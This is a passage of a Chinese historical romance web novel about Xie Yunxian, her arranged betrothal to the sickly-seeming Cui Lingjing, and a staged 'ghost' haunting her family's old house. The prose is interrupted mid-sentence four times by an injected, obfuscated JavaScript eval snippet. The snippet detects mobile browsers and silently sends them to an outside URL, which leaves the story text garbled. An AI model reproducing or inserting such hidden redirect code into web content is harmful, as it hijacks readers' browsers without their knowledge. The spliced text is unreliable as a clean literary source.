崔皓也笑了笑,从袖中掏出一个手帕,递给谢云闲。 谢云闲还在跟荷华眼神斗嘴,突然一个帕子递到跟前,真实愣住了。 崔皓笑着解释道:“谢姑娘的嘴角偷吃了桃酥。” “……” 崔灵景声线轻缓,藏着点笑意。 谢云闲接过帕子,莫名觉得这茶喝得有点儿热。 丝丝缕缕的,还有点烫。 “……多谢崔公子。” 崔皓点点头,神色如常,接上了方才的话题:“谢姑娘觉得建康如何?” 谢云闲端起淑婉闺秀的架子,清清嗓子道:“崔公子猜得不错,我今日刚到建康,建康可真是热闹,一派春意盎然。” “谢姑娘若喜欢,日后我可以带姑娘四处逛逛。” 他不知道谢云闲生于建康,长于建康,只是几年前搬走了。 但谢云闲也没说,只是笑道:“那便提前谢过崔公子了。” “姑娘来建康是做什么?” 成亲。 谢云闲在心里默默答道。 说起这个,她就一个头两个大,手里的桃酥也不香了。 在她想象里,崔灵景就是个卧病在床、面容憔悴的病男子,说不准长得歪瓜裂枣的,脾性还不好。 这人呐,若是身体不好,会影响心绪和性情……以后她嫁入崔家,不会要整日服侍他,给他煎药喂饭吧? 不对不对。 若真如此,他找个小婢算了,找个媳妇做什么? 不行不行。 谢云闲越想越怕。 尤其是到了建康,婚期逼近,她心里更忐忑了。 “谢姑娘?” 崔皓的声音将她拉回,谢云闲斩断了脑中的胡思乱想,“我来建康啊,我来探望姑母……” “谢姑娘的姑母是建康人?” “嗯……” 谢云闲下意识应了,应完才察觉不对。 建康姓崔的,就那一家。 建康姓谢的,让人第一时间想到的,也就那一家——谢云闲又说自己叫谢霄,姓谢。 不过崔皓没多问,而是揶揄道:“谢姑娘来建康探亲,怎么先来这芳歇楼了?” “……” 谢云闲当然不会老实交代。 她指了指荷华,无辜又无奈道:“我家小婢舟车劳顿,饿得发昏,我带她到这芳歇楼歇一歇,尝尝好吃的糕点。” 荷华:“……” 崔皓竟也信了,认同地颔首道:“饱腹实为要事。” 谢云闲向他投去赞许的目光。 荷华:“……” 谢云闲岔开话题,又聊了些无关紧要的事。 她叫崔皓过来,并非完全出于好心,而是另有目的。崔皓显然是跟崔净风认识的,她想从崔皓口中探点消息。没想到聊半天,什么也没聊出来。 崔皓此人,比想象中还要翩翩公子,也更难对付——看似温柔体贴好相处,实则嘴巴很牢实,一句多余的话都没往外蹦。 吃饱喝足,也有些乏了。 “今日与崔公子相聊甚欢,下次有机会,再与崔公子煮酒烹茶。” 两人作别,一同起身往外走,从僻静一侧离开,避开了崔净风等人。 “今日多谢姑娘,姑娘回去好好休息,我便不多叨扰了。” 谢云闲与崔皓并肩走在前面,荷华跟在身后。 谢云闲也客客气气道:“你也是,望崔公子伤病早日痊愈……” 她话音未落,“哗”的一声,头上一片阴影砸落—— 霎时间,天旋地转。 下一瞬,谢云闲就跌入了一个坚实的怀抱中。 “砰!” 一个花瓶摔在地上,碎成了几瓣。 荷华惊呼道:“姑娘!” 谢云闲被崔皓揽在怀里,崔皓一只手护在她脑后,一只手拉着她的手腕。 方才他迅速将她拉向了自己,谢云闲往他身上撞去,花瓶才没有砸到她。 男女授受不亲,故崔皓并未双手环抱住她,而是虚虚护着她,与她拉开了点距离,避免她尴尬。 “谢姑娘,没事吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883547|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔皓收回手,拨开她额前凌乱的秀发,低头去看她。 “……” 谢云闲靠在他怀里,吓懵了,一时不知是因为花瓶还是两人此时的姿势。 她动也不敢动,浑身僵硬,宛如谢府门前的一座石狮子。 见她不答,崔皓眉头轻皱:“伤到哪了吗?” 崔皓比谢云闲高了大半个头,温热鼻息落下,惹得她一阵头皮发麻。 “没事——” 谢云闲猛地将人推开,迅速退后,拉开了两尺距离。 意识到不妥,她又局促道:“我不是……” 崔皓善解人意道:“没事便好,谢姑娘回去路上要小心。” 谢云闲心有余悸:“多亏你拉了我一把……” 崔皓安抚地对她笑笑,“谢姑娘不必这般客气,今日我们也算互帮互助了。” 荷华欠身道:“多谢崔公子救了姑娘。” “时候不早了,姑娘先回去吧。” 谢云闲颔首:“崔公子,有缘再见。” 天色渐暗,二人快步离开。 走开了一段路,荷华才小声叹道:“方才崔公子可真帅啊,一把将姑娘拉过去,把您护在怀里,英雄救美啊!” 谢云闲却突然停住了脚步,白皙的脸蛋皱成一团。 “嘶。” 谢云闲弯下身子,去碰后脚腕。 待她收回手,指尖果然染了点红。 荷华被吓一跳:“姑娘?” “刚刚那瓷片扎到我了。”谢云闲倒吸一口凉气。 为了不在崔皓面前露馅,她忍了一路。 荷华想去查看伤口,谢云闲又摆摆手,“没事,小伤。” 长衣垂落,盖住了伤口。 “您方才为何不说?” 谢云闲沉默不语。 荷华细细观察她的神色,“您心不在焉的,难道还在想崔公子?” 谢云闲点头,又摇了摇头,嘟囔了一句:“奇了怪了。” 荷华不解地看着她:“怎么了?” “这花瓶好端端的,怎么会突然掉下来?” - “公子为何要让我摔那个花瓶?” 崔皓负手而立,一路目送二人离去。 橘红点燃西边的天,两个身影没入人群,逐渐模糊了轮廓。 一个黑衣男子走上前,与崔皓并肩而立,“公子,花瓶砸落之时,谢姑娘毫无防备,惊慌不似装出来的。若您动作迟一些,她恐怕躲不过。她不像习武之人。” “嗯。” 比起方才的眉目含笑,此时的崔皓面色冷淡不少。 那人又从怀中取出一封密信,“公子,这几日有不少乔装打扮的魏人进了建康。” 若谢云闲在此,定会觉得此人十分眼熟。 “崔净风那边的舞女是怎么回事?” “是跟着一起来的。” 崔皓接过,展开信件,信中寥寥数语,他一目十行,很快读完,将信两折,放入袖中。 “益州那边什么消息?” “都在计划之中。” “继续盯着,静水流深,不能不防……咳,咳。” “是,在下明白。”那人忧心地看着他,“公子,您这病不能一直拖着了。” 崔皓瞳孔很黑,笑时荡起微波,摄人心魂。不笑时眸若寒潭,望不见底,辨不明情绪。 “再等等。” “可……” 崔皓抬手,那人就止了声。 “让人盯着谢云闲,别被她发现,不要伤了她,也不要让人伤了她。” “是。” “她对我们很有用。” “是……四公子。” 5. 旧传闻 谢云闲与荷华步履匆匆回到谢府,刚推开门,余光里一个身影就晃了晃。 谢云闲被吓得够呛,无言道:“你……” 门房藏于暗处,看起来年近半百,老态龙钟,嗓音也是低沉沙哑。 “二姑娘,霜夫人来了,正在屋内等您。” 谢云闲瞳孔微缩。 门房口中的霜夫人谢如霜,是谢睿的亲妹妹、谢云闲的姑母,乃建康谢府当家人之一。 恐怠慢了姑母,谢云闲快步走向前堂,果真见到谢如霜在等她。 谢如霜一袭袖阔圆领素衣,发无别饰,正闭目养神,手里捏着一段朴素的黑色缎带。 十年前,谢如霜的丈夫离世,谢如霜也曾想随他一起去了。一次她上吊自尽,被贴身婢女及时察觉救下,脖颈处因此留下了一道淡淡的疤痕。 自尽无法,谢如霜便开始尊佛信道,不再挽发,去了一身豪饰,变了模样,也变了性情。此后,她面上再无笑意,沉默寡言,时常一人独处,兀自出神。 谢云闲四五岁时,顽皮得很。但谢如霜待她很好,会打趣她,会带她去自己房里取果食吃。 谢如霜完全变了个人后,浑身散发一种强大压迫感,即便是小时候与她亲近的谢云闲,也觉得畏惧,不敢再在她面前放肆任性。 见她睁开双目,谢云闲连忙行礼:“姑母久等了。” “出去玩了?坐。” 虽是问候,但从谢如霜嘴里冒出来,却宛如毫无温度的淡茶,寡淡清浅。 谢云闲神色微动,在她一旁坐下,中规中矩答道:“是,出去走了走。” 谢云闲心里叫苦连连。 她也没想到,谢如霜会在家里等着她。 早知道不乱跑了,还险些丢了性命! 谢如霜平淡道:“你这爱热闹的性子倒是没变。” 谢云闲一愣。 众人皆道谢云闲矜重贤淑,却忘了她原先也是个爱玩的主儿。反倒是多年毫无交集的姑母,直截了当地点出了她的真面目。 谢云闲故作羞赧道:“姑母说得云闲都不好意思了……” 她又道:“云闲不知姑母在府上等候,害姑母久等了!不知姑母今日过来所为何事?” “二哥放心不下,托我照看你一二。”谢如霜道,“此处荒废已久,为何不去我那儿住?” “云闲过几日便嫁作他人妇,离开旧宅,不愿为此事再叨扰姑母。”谢云闲声调温细,“听闻姑母近来多有不适,逢换季之际,得保重身体才好。” 谢如霜的声音里毫无情绪:“我早已是灯尽油枯之躯,不求生,不甘死,生死拉扯,早已不由人意。” 谢云闲心中叹息,明知她姑母心早已死,还是好声安慰道:“姑母莫说这些不吉利的话,您一定能长命百岁的!” 谢如霜轻叹了一口气,却没说话。 她身侧的婢女楚羽也开口劝道:“云闲姑娘,霜夫人让您搬过去,既是为了更好照顾您,也是为您的安危着想。” 谢云闲抬眸:“此话怎讲?” “姑娘可知为何此处旧宅疏弃已久?” 谢睿一家搬走后,偌大的宅子确实空了下来。想来也是,此处位置风水都是颇好的,怎会废弃多年,其中一定有一些缘故。 楚羽压低声音:“五年前,姑娘离开后,这宅子就开始闹鬼。原先我们也不信,以为有人在这空房子里装神弄鬼,就派人来查,却毫无结果。后来每隔一段时间,负责打扫院子的丫鬟小厮纷纷说夜里会听见奇怪声响,还有人见过一个白鬼扫过窗前,似有恶鬼出没……此事闹得沸沸扬扬,夫人和太傅都曾找人来驱鬼,却总不得法,每隔数日,夜里又会出现异响。时至今日,依旧如此。姑娘若执意住在这里,夫人不放心。” “竟有此事?”谢云闲不掩惊诧。 楚羽道:“姑娘七日之后便要成婚,期间若出了什么事,就不好了。” 谢云闲没立刻答话,在心里头仔细权衡。 她原本就对这些凶吉鬼神学说半信半疑,此时听闻此事,心中虽骇然,却未动摇她的决定。 不是她不怕鬼,是她更怕麻烦。若她真搬进谢府,少不了跟谢府上上下下打交道。谢府乃豪门贵族,上上下下几百人。离开建康这些时日,她脑子里还记得的姓谢的,已然不多了。这要是搬进去,她不免战战兢兢,步步惊心,想出一趟门怕是都难。况且,她还有些心事,也是她来建康的目的,她必须留给自己充足的时间和空间。 思忖后,谢云闲微笑道:“我不信这鬼神之事,宁可让这白鬼来缠我,也不想给姑母添麻烦。这些年不在姑母身边,姑母便让我尽这一回孝心吧。” 楚羽:“可是姑娘……” “罢了。”谢如霜突然道。 “你若真想留在这里,便安心在这里住着吧。这里是你的家,你不想跟我走,也是合情合理的。” 谢云闲道:“多谢姑母谅解。” 谢如霜对楚羽吩咐道:“楚羽,你多派些人过来,照顾好二姑娘。” “是,奴婢明白。” 谢如霜目光沉沉望向谢云闲,“你万事要小心,我答应过二哥的。” 谢云闲承诺道:“云闲牢记于心,绝不会给姑母添麻烦。” 此话真假,只有她自己知道了。 毕竟熟悉谢云闲的人都知道,从她这嘴里蹦出来的承诺,说出来时烧得火热,放几天,迟早都得凉——可信度不高。 楚羽见劝说无法,不再执意,只是重复道:“姑娘切记保护好自己。” - 翌日。 这一夜谢云闲睡得很好,神神鬼鬼没见到,倒是见到了眼圈乌青的荷华。 “你这……” 荷华眼皮磕磕碰碰,有气无力道:“姑娘早……” “你跟我睡在一个屋檐下,还睡不好?” “楚姐姐说得实在太吓人了,这、这我哪能睡着……”荷华困得泪眼汪汪,“您又不是不知道,我最怕鬼了……” “行行。”谢云闲拿她没办法,“那你今晚来我房里睡,我保护你,好不好?” 荷华原是孤儿,十二岁那年被谢云闲的母亲白溪捡回谢府,此后便一直跟着谢云闲。尽管主仆有别,阶级森严,但两人也算是一起长大,关系非平常主仆所比。没其他人时,谢云闲爱开几句玩笑。一开始荷华还过来捂她的嘴,现在也被她磨得没了脾气。 “我哪敢让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883548|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您来保护我!”荷华低下声音,“您善人好心肠,陪着我,奴婢就感激不尽了……不过,姑娘您真不怕吗?空穴来风,楚姐姐和谢夫人也不可能骗咱们!” 谢云闲理着青丝,缓缓道:“我又不是那捉鬼的钟馗,我怎么不怕?子不语怪力乱神。即便真有鬼,在它出现之前,我们也不能自己吓自己。” “所以……” 谢云闲双手一撑脸蛋,荷华便知她又在心里头琢磨着什么事儿。 “姑娘——” “荷华,今夜我想去阿爹书房看看。” “为何是今夜?现在去不行么?” “因为我想去找点东西,不想被旁人知道?” “这……谢家搬走后,重要的东西也一并带走了,姑娘要找什么?不如让下人去找?” 谢云闲摊手,“我就是不知道那里头藏了什么东西,所以才要亲力亲为!” “可是……” 谢云闲双眸亮晶晶的,看来心意已决。 荷华小声道:“您方才还说要保护我呢……” 谢云闲冲她微微一笑,“这不冲突。” 荷华心道:有种不妙的预感。 - 崔皓出门,正巧撞上几位自命不凡的贵公子在偏院玩蹴鞠。与其说是正巧,不如说崔净风特地挑选了一块风水宝地,一直在这里候着他。 崔净风年十七,是崔府最小的公子,此人愚笨顽劣,整日跟一些不学无术的世族子弟混在一起,沆瀣一气。他对崔灵景恶意很大,只要见他一面,就恨不得将他从头到脚羞辱一番。昨日崔皓贸然出现在崔净风的筵席上,败了他的兴致,他早就料定崔净风不会这么轻易放过自己。 崔净风显然看见了他,却仍不管不顾的,一脚踢起蹴鞠。 这一脚就是冲他来得,如若不躲,必然砸到他头上。 于是崔灵景侧了侧头,蹴鞠擦着他的肩膀飞了过去。 崔净风果然勃然大怒:“你竟敢躲?!” 崔皓淡淡地看着他。 “捡回来。” 崔净风用一种不容置喙的语气对他说,像在使唤一个仆从。 其他人揣着手看热闹,早就对此情此景司空见惯,等着崔皓出丑。 他的母亲是舞姬出身,地位低微,所以他是崔府里最被人瞧不起的,也是最受欺凌的公子。再小一些时,他的待遇甚至比不上府上的一些奴才。 命运如此,他从出生那一刻,便别无选择。所有的苦,只有吃苦的人,才能体会。 “我说的话你听见没?” “……” 崔皓沉默着注视他一会,转过了身。 崔净风挑眉看着他。 崔皓朝草丛走过去,弯腰去捡躲在其中的蹴鞠。 崔净风一直跟着他的脚步,趁他毫无防备,走到他背后。在他准备起身时,崔净风一脚踩在了他的肩头上。 “唔!” 崔皓被重力一压,险些面朝地摔下去。 “崔灵景。”崔净风脚下力度不减,足尖用力碾了碾,“你当自己是谁?” “……” “咳,咳……” 回答他的,只有无尽的咳嗽声。 6. 鬼夜行 亥时一刻。 “姑、姑娘……” “您觉不觉得……” “好像有点不对劲……” “咱、咱们,还要出去么……” 谢云闲拍了拍她,“你别自己吓自己。” 荷华两股战战,默默贴近了她。 谢睿的院子离得有些远,谢云闲点了灯笼,拉上荷华往外走。 “姑、姑娘……” “又怎么了?” “这,好像有什么声音。” 谢云闲凝神驻足,侧耳细听了一会,才道:“是风声。” 初春夜里天寒,谢云闲裹紧皮袄,脸被凛冽冷风刮得生疼。 “阿嚏!”荷华打了个喷嚏,紧跟上她。 两人走在小径上,风把树叶吹得簌簌响。四面昏暗,黑夜如盖。 谢云闲损她一句:“我看你比那恶鬼更可怕。” 其实她也有点发憷,但见荷华那么提心吊胆,她便没有表现出来。 “放心吧,我是你的主子,那恶鬼要抓人,也是先抓我。到时候你就拼命往外跑,去找道士来驱鬼……” 荷华两眼泪汪汪:“姑娘,您别说了……” 这一段路,荷华觉得走了足有半个时辰那么久,终于到了院门前。 旧宅荒废已久,虽由丫鬟提前洒扫过,但难掩落败,看着空荡荡的,毫无生气,院内草木枯萎许久也无人修裁。 “呼——” 谢云闲刚一脚迈进谢睿的卧房,手中的灯笼就被身后一阵风给卷灭了。 荷华心惊胆战,手忙脚乱地想将其重新点燃。 霎时,一个白影从窗边闪过。 “姑娘!” 荷华惊起,手一抖,灯笼摔在地上。 她双唇猛颤,声音发抖:“你、你有没有看见……” 谢云闲扶住她的肩膀予以安慰,发觉荷华的衣衫早已被冷汗浸湿。她也有些汗毛竖立,但仍宽慰荷华道:“我看见了。” 荷华惊恐得一句话都说不利索:“那那那……这……我……” 谢云闲掌心已汗汗涔涔。 难道真的有鬼?就在阿爹的房里?躲在这里,还是出去看看? 罢了,躲得过一时,躲不过一世。 谢云闲思忖片刻,对荷华做了个嘴型和手势。 荷华栗栗危惧,借着屋外的月色,看清了她的动作,拼命摇头。 谢云闲又劝道:我们要化被动为主动! “……” 荷华吓得表情都扭曲了,眼角迸出泪来,还是缓慢地点了点头。 毕竟她不可能让谢云闲独自去冒险。 她迅速捡起地上的灯笼,克制着颤抖,点了几次,终于重新将火烛重新点亮。 夜幕低垂,夜阑人静,屋外看似归于宁静,并无异样。 谢云闲看向荷华,目光坚定。 三。 二。 一。 走! 两人对视一眼,谢云闲朝门口冲过去,猛地拉开了房门。 荷华紧随其后,一手提着灯笼,一手不知从何处翻出了一根木棒。 “嘭!” 谢云闲的心怦怦直跳,简直要跳出来了。她凝神注意着周围的动静,试探着一步步往外走,走到院中。 “歘——” 白影又从她眼前一闪而过! 谢云闲吓得往后退了一步。 荷华吓得变貌失色,手上的灯笼差点没拿稳。 “姑娘——” 待她回过神来,谢云闲早已追着那白鬼而去。 她再害怕,也不得不跟了上去。 那白鬼移动速度极快,像是没有脚,虚浮在半空。 谢云闲从头上取下银钗,朝它用力掷了去。 “咣当”一声,那银钗竟砸到了白鬼身上,掉到了地上。 谢云闲加快脚步追赶:“站住!” 那白鬼快到恍若一道虚影,转眼便到了院门口,失去了踪影。 谢云闲追至门前,忽听身后一声喘息—— 荷华颤着脚步追在后面,几乎撕心裂肺地喊道:“姑娘小心——” - 翌日,清晨。 “嘶……” 谢云闲早上起来,浑身麻痛,掀起胫衣,腿上果然多了好几处青紫。 昨夜她追随白鬼至院外,不防有人藏于身后伏击,一掌朝她劈下,谢云闲脚下慌乱,对方的攻击还未落下,她就自己把自己绊倒,从台阶上滚了下去。 谢云闲不想惊动姑母那边的人,荷华给她用药后,她便忍痛睡了一晚。 这一夜睡不好,她头也痛,身也痛,醒来眼下一片青黑,比昨日憔悴不少。 荷华忧心忡忡:“姑娘,我们去医馆找大夫看看吧。” 谢云闲借着荷华站了起来,点头:“走吧。” 两人正欲出门,却撞见楚羽领着一丛人推门而进。她向谢云闲问好:“云闲姑娘这是要出门?” 长裙掩住伤口,谢云闲从容道:“可是姑母有何吩咐?” “霜夫人托我给云闲姑娘送些东西。” 楚羽招手让身后的人走上前,为谢云闲展示——几乎都是些珠宝首饰、胭脂香料,做工精美绝伦,价值不菲。 “多谢姑母。” 楚羽命人将东西送进去,谢云闲却叫住她。 “云闲姑娘有何吩咐?” 谢云闲平静道:“你说的那鬼影,昨夜我见到了。” 楚羽难掩惊异:“这……姑娘可有受伤?” “无事。”谢云闲思量片刻,道:“只是我觉得其中有些蹊跷。” “嗯?云闲姑娘何出此言?” 谢云闲心想,单凭她个人微薄之力,此事不好解决,容易像昨夜那样,毫无防备,遭人袭击,连性命都不小心丢掉。若交给姑母处理,更为妥善。 于是她将猜测全盘托出:“我怀疑闹鬼之事是有人故意为之。” 楚羽道:“可我们先前查过,并无结果。” 谢云闲摇头,“若真是鬼魂夜行,那鬼必是缥缈无影,不能为常人所伤的。然而昨夜我将手中银钗掷出,却实打实击中了那白鬼,我怀疑闹鬼一事另有隐情,还望你替我转达给姑母,最好彻查此事。” 楚羽疑惑问:“可若真是人为,又是图什么呢?” “暂时无从得知……但若将这白鬼捉到了,岂不真相大白了?” 楚羽和荷华瞠目结舌:“——姑娘要捉鬼?” 谢云闲倒是胆大,无所谓道:“既是人所扮,何惧也?” “……” 荷华忆起昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883549|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜场景,一颗心又开始上下颠簸,荡起秋千来。 楚羽忙道:“姑娘切勿冲动,待我禀明夫人,再做行动,也不迟。” 荷华也在一旁点头附和。 谢云闲莞尔一笑,捏着细嗓子娇滴滴道:“你误会了,我只是个手无缚鸡之力的小女子,能做什么?昨夜我被吓得几乎晕过去,幸好荷华撑着胆陪我,才不至于睡不着。” 荷华:“……” 您装娇弱便装,带上我做什么? 楚羽一笑:“没想到荷华竟有这般胆量。” 荷华无话可说,只好回以一笑:“……” 谢云闲唇角微扬:“是啊,若不是荷华,我真不知怎么撑过去。今日出去散散心,也是荷华提出来的……” 见她越来越天马行空,荷华赶紧打断了她:“姑娘,时候不早了,走吧。” 楚羽敛神欠身道:“云闲姑娘慢走。” - 医馆并不远,赫赫醒目的“百草堂”三字金牌匾挂于门前,豪奢华贵。说明情况后,医馆小厮领着二人走进其中一间药室。 “烦请姑娘在此等候,卫大夫正为其他病人医治中。” 小厮方走,一人就掀帘而入。此人眉骨高挺,面色冷峻,绛紫贴身束腰装扮,腰后别了一把长剑。长剑入鞘,不显锋芒。 谢云闲目露疑惑,朝他看过去,他也注意到了谢云闲。 “你是……” 那人不想屋内有人,见到谢云闲,吃了一惊:“二姑娘?” 谢云闲惊讶:“果真是你?” 那人走上前,向谢云闲行礼:“卢青向姑娘问好。” 此人便是那日到谢府提亲的人,说是崔四公子的下属。 未等谢云闲发问,卢青就关心道:“二姑娘受伤了?怎么到买药所来了?” 闹鬼之事不好为外人道也,故谢云闲随意扯了个谎:“昨夜府内遭贼,不小心磕磕碰碰,受了点轻伤,无大碍。” “那二姑娘可来对地方了。”卢青温言道,“卫大夫仁心仁术,必能治好姑娘身上的伤,不留疤痕。” 荷华闻言十分高兴:“那太好了!” 谢云闲却问:“你怎么会在这里?” 卢青会出现在这里,要么是自己来看病,要么是陪人来的。他身上并未负伤,那应该是陪崔灵景来的。 难道崔灵景就在里面? 猝不及防就要见到未来的郎君,饶是谢云闲,也不禁有些彷徨局促。 她还没做好心理准备呢! 卢青并未立刻答话,谢云闲看着他好一会,他才错开目光,嗫嚅道:“我……” 就在这时,里间的帘子动了动。 珠帘宛若春风吹起杨柳,忽然飘起,又缓缓垂落。 两人从里头走出来,一前一后,前者发须雪白,看似年近半百,后者着一身轻薄青衫,分外眼熟。 卢青率先开口:“公子。” 谢云闲一动不动地盯着那人,像是要把他看穿。 那人的目光也落到谢云闲身上。 意味深长。 荷华惊呼:“这不是崔皓公子吗?” “咳、咳。” 崔皓,不,应该说,崔灵景,咳了几声,唇角浮现清浅的笑意。 “没想到这么快就跟姑娘再见了。” 7. 再重逢 他的嗓音清澈温润,如溪流潺潺流过心间。 他,他是崔灵景? 谢云闲内心轰轰巨雷滚过,表面强撑着风轻云淡。 不对啊! 崔、崔灵景不该是个骨瘦嶙峋的病秧子吗? 他此时不该卧病在床、动弹不得吗? 得亏谢云闲心理预期放得低,此时见到“崔灵景”真面目,竟觉得松了口气。 但她不敢再往下想,怕自己憋不住,当面跟崔皓对峙。 谢云闲看着崔灵景,问:“你知道我是谁吗?” 崔灵景道:“你是谢霄。” 卢青和荷华在一旁不敢说话。 谢云闲又问:“那你是谁?” 崔灵景道:“我是崔皓。” 事到如今,他还想瞒着她?卢青是崔灵景身边的人,如今在这里陪着他,他又姓崔,他若不是崔灵景,说不过去吧? 似乎看穿她的心思,崔灵景温声解释道:“那日初见,姑娘说你叫谢霄,那我便是崔皓。若直接点破,我担心姑娘会觉得尴尬。” 谢云闲倒是没想过这一层。 也是。 是她把崔灵景叫过去的,又不是崔灵景来找她。成婚之前,他们贸然见面,已是不符合礼节,若那时崔灵景坦明身份,两人束手束脚,谢云闲一定会对自己的决定追悔莫及。 “前日有所隐瞒,在此向谢姑娘表示歉意。” 崔灵景彬彬有礼,风度翩翩,谢云闲心底那最后一丝不悦,也被抚平。 毕竟是她先自称“谢霄”,她也没有告诉崔灵景自己的真实身份。 “你怎么认出我的?” 崔灵景笑道:“我知道姑娘的名字。” 谢云闲:“原来如此。” 那你还演得挺好的。 难怪崔灵景直接点出那句诗,原来他早就知道。 卫大夫面无表情地粗声打断他们:“下一个是谁?快点!” 荷华立即举手道:“这里!” 卫大夫将谢云闲带入里间处理伤口,荷华守在外头,心急地往里探头。 卫大夫给谢云闲摔伤的地方敷了药草,据说有去血化瘀之效。其他地方擦破了皮,但伤得不重。 没过多久,卫大夫便出去了,荷华进来探望谢云闲。 她围着谢云闲打转:“姑娘,疼不疼?” 谢云闲:“我没事,你别转了……” 荷华放下心,随卫大夫去抓药,留谢云闲一人在里间,盯着瓶瓶罐罐发呆。 那天然无害的神色,是平常的谢二姑娘脸上所没有的。 此时身边没有他人,她便稍微放下了身上的包袱。 不到半盏茶的功夫,谢云闲就听见身后有轻微脚步声靠近。 她随意道:“荷华,给我倒杯茶来。” “……” 荷华罕见的沉默了。 谢云闲当她没听见,又吩咐了一遍:“荷华,我有点渴。” “……” 身后人似乎怔了一下,又响起来脚步声,掀帘走了出去。 谢云闲百无聊赖地敲着木柄,小声囔囔道:“怎么动作慢吞吞的……” 很快,脚步声折返,在谢云闲身后停住,满满一杯茶从身后递到她眼前。 手很稳,一滴都没有洒。 谢云闲接过,轻抿一口,差点吐出来。 “荷华!这茶怎么这么苦?” 她转过头,正欲质问……却对上了崔灵景沉静的目光。 “……” 四目相对。 谢云闲恨不得钻进案下。 怎么是他? 她刚刚对他说了什么? 谢云闲脑子有一瞬空白。 “苦丁茶虽苦,但延性养年。”崔灵景抱歉地看着她,“我不知道姑娘不喜欢,我去换一杯。” 谢云闲脑内飞速运转,将方才自己的所言所为回忆了个遍,就差把自己埋进土里生根发芽了。 她竟然命令崔灵景给自己倒茶? 崔灵景竟真的给自己倒了茶? 她还对崔灵景那样大声说话? 谢云闲只觉得自己脑袋嗡嗡的。 谢云闲明媚一笑:“不必了,我……喜欢。” “真的吗?” 谢云闲笑得灿烂:“苦丁茶有助排除体内毒素,对身体好,有劳崔四公子了。” 盲羊补牢,为时不晚。 谢云闲仰头,一咬牙,一闭眼,一口气就把茶水喝见了底。 ——苦得她差点掉下眼泪来。 “谢姑娘喜欢就好。”崔灵景替她放好茶杯。 谢云闲轻咳一声,转移话题:“不知崔四公子找我有何事?” “卢青说你的脚为贼人所伤,可有抓到那小贼?” 谢云闲半真半假地道:“贼人身手敏捷,让他侥幸逃脱了。” 不过说起“小贼”,谢云闲倒想起了另一桩事。 在她院墙外那具尸体,究竟是何人? 死的是崔家的人,人又是卢青带来的,他是否知道内情? 家中仆从无缘无故失踪,崔家的人不会起疑心吗?说不定卢青也在调查此事。 谢云闲正色道:“崔四公子,我想请卢青帮个忙。” 崔灵景并未多问:“我让他进来。” “我出去罢。”谢云闲起身,欲去找卢青。 两人都要往外走,谢云闲起身起得急,不小心一脚踩到了拖曳于地的长裙,再次自己把自己给绊了,整个人重心往一侧倾倒。 崔灵景下意识伸手去扶她。 情急之下,谢云闲也扯住了崔灵景的衣袖。 谢云闲再次砸在崔灵景身上,全身重量都压在他身上,崔灵景腰身倾斜,成一个弧度。 她刚要稳住,崔灵景却撑不住了,整个人往后倒,“砰”地一声,两人一并摔在了地上。 崔灵景的薄衣衫被谢云闲顺手扯开,露出一块赤红的皮肤。 在外候着的卢青和取完药回来的荷华听见这大动静,几乎是同时冲了进来。 “公子你没事……呃?” “姑娘你还好……啊?” 只见崔四公子平倒在地上,而谢二姑娘半压在崔四公子胸膛上。 崔四公子衣衫不整,香肩半露,长臂松松揽着谢二姑娘,一手还护在她脑后,显然是给她当了肉垫。 此情此景,香艳惑人,风流涌动,似那被翻红浪,奔赴云雨。 荷华登时用双手捂住了自己眼睛:“我、我什么都没看见。” 卢青也尴尬地转了个身,僵直的后背仿佛刻着四个大字:非礼勿视。 谢云闲:“……” 崔灵景:“……” 谢云闲从齿缝间蹦出几个字:“……崔四公子可真是身娇体弱易推倒啊。” “咳,咳。”崔灵景脖子漫起一层薄红,不知是摔的还是因为窘迫。 谢云闲还压在他身上不动弹,不得不说,崔灵景看着薄弱,胸膛却很坚实。 “咳,谢姑娘没事吧?” “我没事……” 崔灵景护住了她,没让她摔在地上。但她磕到崔灵景身上,碰到了昨日的伤口,隐隐约约有些痛。 崔灵景仍是温温柔柔的样子,轻声问:“那姑娘打算何时起来呢?” “……” 谢云闲顿时面红耳赤。 她是不想起吗? 不——她只是突然抽筋了,动不了! 谢云闲一直给荷华使眼色,让她把自己扶起来,荷华却紧闭双眼,一副英勇就义烈士相。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 